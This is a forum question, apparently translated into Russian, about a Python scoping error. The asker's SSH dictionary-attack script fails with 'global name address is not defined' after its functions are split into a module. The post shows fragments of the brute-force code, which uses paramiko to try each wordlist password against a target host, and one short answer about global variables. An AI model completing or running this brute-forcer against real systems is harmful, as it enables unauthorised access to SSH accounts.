2016-08-29 2 views
1

Продолжая писать сценарий атаки на словарь для проекта.Глобальная переменная, не определенная после разделения функций на отдельный файл Python

Мой сценарий вызывает две функции, которые выполняют фактическую атаку словаря на SSH. Сначала я объявил свою глобальную переменную в моих get_args() функции в main.py, следуя с основной функцией()

def get_args(): 
    # stuff for parsing blah blah 


    global service, username, wordlist, address, port, delay 

    service = args.service 
    username = args.username 
    wordlist = args.password 
    address = args.address 
    port = args.port 
    delay = args.delay 

    return service, username, wordlist, address 


def main(): 

    service, username, wordlist, address = get_args() 

    # output and stuff 

    # SSH bruteforce 
    if service == 'ssh': 
     if address is None: 
      print R + "[!] You need to provide a SSH address for cracking! [!]" + W 
    else: 
     print C + "[*] Address: %s" % address + W 
     sleep(0.5) 
     global port 
     if port is None: 
      print O + "[?] Port not set. Automatically set to 22 for you [?]" + W 
      port = 22 

     print C + "[*] Port: %s " % port + W 
     sleep(1) 
     print P + "[*] Starting dictionary attack! [*]" + W 
     print "Using %s seconds of delay. Default is 1 second" % delay 
     sshBruteforce(address, username, wordlist) 

Линия sshBruteforce(address, username, wordlist) ссылки функцию, что я включить в отдельный файл в качестве модуля, который я импортировать с

from module1 import * 

Внутри module1.py:

# ssh_connect() 
def ssh_connect(password, code=0): 
    ssh = paramiko.SSHClient() 
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 
    paramiko.util.log_to_file("filename.log") 

    try: 
     ssh.connect(address, port=port, username=username, password=password) 


def sshBruteforce(address, username, wordlist): 
    wordlist = open(wordlist, 'r') 

    for i in wordlist.readlines(): 
     password = i.strip("\n") 
     try: 
      response = ssh_connect(password) 
      # actual bruteforcing here. The above line references the ssh_connect() 
      # function, which is where the problem actual occurs 

линия, ssh.connect(address, port=port, username=username, password=password) где проблема возникает. Скажем, я выполняю скрипт так:

python main.py -u root -w wordlist.txt -s ssh -p 22 -a 192.168.1.3 

Это хранит строку "root" внутри переменной username и т.д. Однако, как только программа main.py выполняет функцию sshBruteforce(), это происходит:

global name 'address' is not defined 

Я знаю, что это происходит в функции ssh_connect(), с линией ssh.connect(address, port=port, username=username, password=password), что означает, что переменная address в ней не хранится. Я не знаю, почему это происходит.

Включая from __main__ import * в пределах module1.py ничего не меняет. Я видел много таких вопросов, но ни одна из них не похожа на мою ситуацию.

ответ

-1

Концепция глобального определения означает, что вы должны определить ее вне функции, попробуйте инициировать все глобальные переменные вне fuction с помощью None или что-то еще и посмотреть, не решена проблема.